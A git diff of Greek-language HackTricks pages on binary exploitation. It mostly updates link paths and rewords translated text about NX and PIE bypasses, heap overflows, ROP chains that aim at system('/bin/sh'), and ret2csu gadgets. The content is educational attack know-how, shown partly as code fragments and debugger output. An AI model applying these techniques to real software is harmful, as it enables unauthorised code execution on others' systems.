-- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
+- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις.
+- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
index c71bf5e09..7edbb8ce0 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
@@ -8,9 +8,9 @@
## Bypasses
-- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../rop-return-oriented-programing/) **για να παρακαμφθεί** αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../rop-return-oriented-programing/index.html) **για να παρακαμφθεί** αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
index 588480b6b..0a45382d5 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
@@ -6,7 +6,7 @@
Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
-Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με τις **σταθερές αποστάσεις** τους.
+Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους.
Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\
Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών.
@@ -23,7 +23,7 @@
bypassing-canary-and-pie.md
{{#endref}}
-- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**μορφοποίηση συμβολοσειράς**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**format string**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index fb8ab2dd3..c30595a4c 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -4,9 +4,9 @@
## Basic Information
-Ένα heap overflow είναι σαν ένα [**stack overflow**](../stack-overflow/) αλλά στο heap. Βασικά σημαίνει ότι κάποιος χώρος έχει κρατηθεί στο heap για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον κρατημένο χώρο.**
+Ένα heap overflow είναι σαν ένα [**stack overflow**](../stack-overflow/index.html) αλλά στο heap. Βασικά σημαίνει ότι κάποιος χώρος είχε κρατηθεί στο heap για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον κρατημένο χώρο.**
-Στα stack overflows γνωρίζουμε ότι μερικοί καταχωρητές όπως ο δείκτης εντολών ή το stack frame θα αποκατασταθούν από το stack και θα μπορούσε να είναι δυνατό να γίνει κατάχρηση αυτού. Στην περίπτωση των heap overflows, **δεν υπάρχει καμία ευαίσθητη πληροφορία αποθηκευμένη από προεπιλογή** στο heap chunk που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητη πληροφορία ή δείκτες, οπότε η **κριτική σημασία** αυτής της ευπάθειας **εξαρτάται** από **ποια δεδομένα θα μπορούσαν να αντικατασταθούν** και πώς ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό.
+Στα stack overflows γνωρίζουμε ότι μερικοί καταχωρητές όπως ο δείκτης εντολών ή το stack frame θα αποκατασταθούν από το stack και θα μπορούσε να είναι δυνατό να γίνει κατάχρηση αυτού. Στην περίπτωση των heap overflows, **δεν υπάρχει καμία ευαίσθητη πληροφορία που να αποθηκεύεται από προεπιλογή** στο heap chunk που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητη πληροφορία ή δείκτες, οπότε η **κριτική σημασία** αυτής της ευπάθειας **εξαρτάται** από **ποια δεδομένα θα μπορούσαν να αντικατασταθούν** και πώς ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό.
> [!TIP]
> Για να βρείτε τα offsets υπερχείλισης μπορείτε να χρησιμοποιήσετε τα ίδια μοτίβα όπως στα [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
@@ -23,15 +23,15 @@
Για να αναγκαστεί αυτή η γέμιση με αντικείμενα συγκεκριμένου μεγέθους, η **εκτός γραμμής κατανομή που σχετίζεται με ένα mach port του iOS** είναι ένας ιδανικός υποψήφιος. Με την κατασκευή του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της κατανομής `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη κατανομή θα απελευθερωθεί αμέσως πίσω στο `kfree`.
-Στη συνέχεια, μερικοί από αυτούς τους χώρους μπορεί να είναι **ελεύθεροι**. Η **λίστα ελεύθερων `kalloc.4096` απελευθερώνει στοιχεία με σειρά τελευταίου εισερχόμενου πρώτου εξερχόμενου**, που σημαίνει βασικά ότι αν μερικοί χώροι είναι ελεύθεροι και η εκμετάλλευση προσπαθεί να κατανοήσει αρκετά αντικείμενα θύματα ενώ προσπαθεί να κατανοήσει το αντικείμενο που είναι ευάλωτο σε υπερχείλιση, είναι πιθανό ότι αυτό το αντικείμενο θα ακολουθείται από ένα αντικείμενο θύμα.
+Στη συνέχεια, μερικοί από αυτούς τους χώρους μπορούν να **απελευθερωθούν**. Η **λίστα ελεύθερων `kalloc.4096` απελευθερώνει στοιχεία με σειρά τελευταίου εισερχόμενου πρώτου εξερχόμενου**, που σημαίνει βασικά ότι αν μερικοί χώροι απελευθερωθούν και η εκμετάλλευση προσπαθήσει να κατανεμηθεί αρκετά αντικείμενα θύματα ενώ προσπαθεί να κατανεμηθεί το αντικείμενο που είναι ευάλωτο σε υπερχείλιση, είναι πιθανό ότι αυτό το αντικείμενο θα ακολουθείται από ένα αντικείμενο θύμα.
### Example libc
-[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) είναι δυνατό να βρείτε μια βασική προσομοίωση heap overflow που δείχνει πώς η αντικατάσταση του prev in use bit του επόμενου chunk και η θέση του prev size είναι δυνατό να **συγκεντρώσουν ένα χρησιμοποιούμενο chunk** (κάνοντάς το να νομίζει ότι είναι αχρησιμοποίητο) και **στη συνέχεια να το κατανοήσουν ξανά** έχοντας τη δυνατότητα να αντικαταστήσουν δεδομένα που χρησιμοποιούνται σε διαφορετικό δείκτη επίσης.
+[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) είναι δυνατό να βρείτε μια βασική προσομοίωση heap overflow που δείχνει πώς η αντικατάσταση του prev in use bit του επόμενου chunk και η θέση του prev size είναι δυνατό να **συγκεντρώσουν ένα χρησιμοποιούμενο chunk** (κάνοντάς το να νομίζει ότι είναι αχρησιμοποίητο) και **στη συνέχεια να το κατανεμηθεί ξανά** έχοντας τη δυνατότητα να αντικαταστήσει δεδομένα που χρησιμοποιούνται σε διαφορετικό δείκτη επίσης.
Ένα άλλο παράδειγμα από [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) δείχνει ένα πολύ βασικό παράδειγμα ενός CTF όπου ένα **heap overflow** μπορεί να εκμεταλλευτεί για να καλέσει τη συνάρτηση νικητή για **να πάρει τη σημαία**.
-Στο [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) παράδειγμα είναι δυνατό να δείτε πώς με την κατάχρηση ενός buffer overflow είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν.
+Στο παράδειγμα [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) είναι δυνατό να δείτε πώς με την κατάχρηση ενός buffer overflow είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν.
### Example ARM64
diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md
index 269c1e5fd..615cca992 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/README.md
@@ -4,12 +4,12 @@
## **Βασικές Πληροφορίες**
-**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών πράξεων. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
+**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδέοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
### Πώς Λειτουργεί το ROP
1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
-2. **Αλυσίδωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και αλυσόδεσε gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
+2. **Σύνδεση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδέει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
### Εργαλεία
@@ -18,16 +18,16 @@
## ROP Chain σε Παράδειγμα x86
-### **x86 (32-bit) Συμβάσεις Κλήσης**
+### **x86 (32-bit) Κλήσεις Συμβάσεων**
-- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς αριστερά.**
+- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.**
- **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack.
### **Εύρεση Gadgets**
-Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
+Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή τις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
-- `pop eax; ret`: Αυτό το gadget βγάζει την κορυφαία τιμή του stack στο καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`.
+- `pop eax; ret`: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`.
- `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`.
- `mov [ebx], eax; ret`: Μεταφέρει την τιμή στο `EAX` στη διεύθυνση μνήμης που υποδεικνύεται από το `EBX` και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται **write-what-where gadget**.
- Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης `system()` διαθέσιμη.
@@ -37,7 +37,7 @@
Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική)
-2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/))
+2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/index.html))
3. Θέση για τη διεύθυνση επιστροφής από το `system()`
4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system)
```python
@@ -77,22 +77,22 @@ p.interactive()
### **x64 (64-bit) Calling conventions**
-- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου οι **πρώτες έξι ακέραιες ή δείκτες παράμετροι μεταφέρονται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8` και `R9`**. Πρόσθετες παράμετροι μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
-- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8` και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
-- **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
+- Χρησιμοποιεί τη **System V AMD64 ABI** calling convention σε συστήματα τύπου Unix, όπου τα **πρώτα έξι ακέραια ή δείκτες επιχειρήματα περνάνε στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετα επιχειρήματα περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
+- Η calling convention **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τα πρώτα τέσσερα ακέραια ή δείκτες επιχειρήματα, με πρόσθετα επιχειρήματα να περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
+- **Registers**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
#### **Finding Gadgets**
-Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
+Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως επιχείρημα στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
-- **pop rdi; ret**: Αντλεί την κορυφαία τιμή της στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**.
-- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση της στοίβας σε ορισμένα σενάρια.
+- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του stack στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε το επιχείρημά μας για τη **system()**.
+- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του stack σε ορισμένα σενάρια.
Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**.
### **ROP Chain**
-Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP αλυσίδα με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**:
+Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP chain με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**:
```python
from pwn import *
@@ -131,7 +131,7 @@ p.interactive()
- Χρησιμοποιούμε το **`pop rdi; ret`** gadget για να ορίσουμε το **`RDI`** στη διεύθυνση του **`"/bin/sh"`**.
- Πηδάμε απευθείας στη **`system()`** μετά την ρύθμιση του **`RDI`**, με τη διεύθυνση της **system()** στην αλυσίδα.
-- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, το οποίο είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.
+- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, κάτι που είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.
### Ευθυγράμμιση Στοίβας
@@ -154,15 +154,15 @@ p.interactive()
## Προστασίες κατά του ROP
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθούν οι αποθηκευμένες canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
- **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.
## Τεχνικές βασισμένες σε ROP
-Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
+Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
-- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
+- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετους παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
{{#ref}}
ret2lib/
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index 2d99d4d03..d2fe3de02 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -6,7 +6,7 @@
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες
-**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να αναλάβετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
+**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`.
@@ -14,7 +14,7 @@
Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε:
-1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν θέσεις όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
+1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
```armasm
pop rbx;
pop rbp;
@@ -24,7 +24,7 @@ pop r14;
pop r15;
ret;
```
-Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς.
+Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποθηκεύοντας τιμές από τη στοίβα σε αυτούς.
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα:
- **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
@@ -60,7 +60,7 @@ gef➤ search-pattern 0x400560
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
-- `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η μεταπήδηση
+- `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η εκτροπή
- Υπάρχουν μερικά παραλειπόμενα pops που πρέπει να λάβετε υπόψη
## RDI και RSI
@@ -79,7 +79,7 @@ brop-blind-return-oriented-programming.md
### Χρησιμοποιώντας την κλήση
-Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
+Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Κανονικά, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
